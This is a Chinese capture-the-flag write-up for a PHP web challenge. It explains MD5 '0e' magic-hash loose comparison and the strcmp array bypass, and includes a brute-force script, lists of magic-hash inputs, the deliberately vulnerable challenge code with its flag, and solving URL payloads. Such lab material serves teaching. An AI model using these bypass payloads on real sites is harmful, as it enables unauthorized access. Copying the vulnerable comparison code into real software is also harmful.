YIT-CTF>Web:前女友

出题思路:

MD5弱类型比较

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

关于PHP hash比较缺陷详细介绍:http://www.freebuf.com/news/67007.html

Python脚本:
[ 可自定义字符的自动化脚本,更改payload即可,字符串长度则是修改getStr(payload,s,slen)的slen ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding: utf8 -*-
#author:kalbertlee
#http://blog.csdn.net/kalbertlee
import hashlib
payload = "QWERTYUIOPASDFGHJKLZXCVBNM"
#payload = "qwertyuiopasdfghjklzxcvbnm"
#payload = "0123456789"
def calcMd5(s):
MD5 = hashlib.md5(s).hexdigest()
if MD5[0:2] == "0e" and MD5[2:32].isdigit():
print s,MD5
def getStr(payload,s,slen):
if len(s) == slen:
#Custom string
calcMd5(s)
return s
for j in xrange(len(payload)):
sl= s+payload[j]
getStr(payload,sl,slen)
if __name__ == '__main__':
getStr(payload,'',7)

一些0e开头MD5的字符串:

纯数字类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734
571579406 0e972379832854295224118025748221
903251147 0e174510503823932942361353209384
1110242161 0e435874558488625891324861198103
1320830526 0e912095958985483346995414060832
1586264293 0e622743671155995737639662718498
2302756269 0e250566888497473798724426794462
2427435592 0e067696952328669732475498472343
2653531602 0e877487522341544758028810610885
3293867441 0e471001201303602543921144570260
3295421201 0e703870333002232681239618856220
3465814713 0e258631645650999664521705537122
3524854780 0e507419062489887827087815735195
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
4790555361 0e643442214660994430134492464512
5432453531 0e512318699085881630861890526097
5579679820 0e877622011730221803461740184915
5585393579 0e664357355382305805992765337023
6376552501 0e165886706997482187870215578015
7124129977 0e500007361044747804682122060876
7197546197 0e915188576072469101457315675502
7656486157 0e451569119711843337267091732412

大写字母类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
EEIZDOI 0e782601363539291779881938479162
TUFEPMC 0e839407194569345277863905212547
UTIPEZQ 0e382098788231234954670291303879
UYXFLOI 0e552539585246568817348686838809
IHKFRNS 0e256160682445802696926137988570
PJNPDWY 0e291529052894702774557631701704
ABJIHVY 0e755264355178451322893275696586
DQWRASX 0e742373665639232907775599582643
DYAXWCA 0e424759758842488633464374063001
GEGHBXL 0e248776895502908863709684713578
GGHMVOE 0e362766013028313274586933780773
GZECLQZ 0e537612333747236407713628225676
NWWKITQ 0e763082070976038347657360817689
NOOPCJF 0e818888003657176127862245791911
MAUXXQC 0e478478466848439040434801845361
MMHUWUV 0e701732711630150438129209816536

strcmp的数组get漏洞:

在PHP 5.3版本以上的strcmp()有一个bypass漏洞,在说这个漏洞之前我们先来看一下strcmp()这个函数。(注意该比较区分大小写)

1
int strcmp( string $str1, string $str2)

如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

测试代码如下:

1
2
3
4
5
6
7
8
9
10
<?php
$password = $_GET['pass'];

if (strcmp('websec',$password)){
echo "No!";
}
else{
echo "Success!";
}
?>

strcmp()在比较字符串和数组的时候直接返回0,这样通过把目标变量设置成数组就可以绕过该函数的限制

1
http://127.0.0.1/str.php?pass[]=1

>>index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<body>
<title>前女友</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<center>
分手了,纠结再三我没有拉黑她,原因无它,放不下。<br>
终于那天,竟然真的等来了她的消息:“在吗?”<br>
我神色平静,但颤抖的双手却显示出我此刻的激动。“怎么了?有事要我帮忙?”<br>
怎么,没事就不能联系了吗?”结尾处调皮表情,是多么的陌生和熟悉……<br>
帮我看看这个...说着,她发来一个<a href="http://www.se7ensec.cn/yitctf/web6/reply.txt">链接</a><br>
不忍心拂她的意就点开了,看着屏幕我的心久久不能平静,往事一幕幕涌上心头......<br>
我到底做错了什么,要给我看这个!<br>
还记得你曾经说过。。。。。。。。<br>
PHP是世界上最好的语言~(笑cry...)<br>
</center>
<center>
<?php
error_reporting(0);
$flag = "yitctf{Php_1s_tH3_B3St_L4NgUag3}";
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
</center>
</body>
</html>

>>reply.txt:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

解题思路:

利用经典的md5 弱类型匹配和strcmp的数组get漏洞,当strcmp(数组,字符串)==0,然后我们构造payload如下

1
http://www.xxx.com/index.php?v1=QNKCDZO&v2=240610708&v3[]=011

得到flag

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×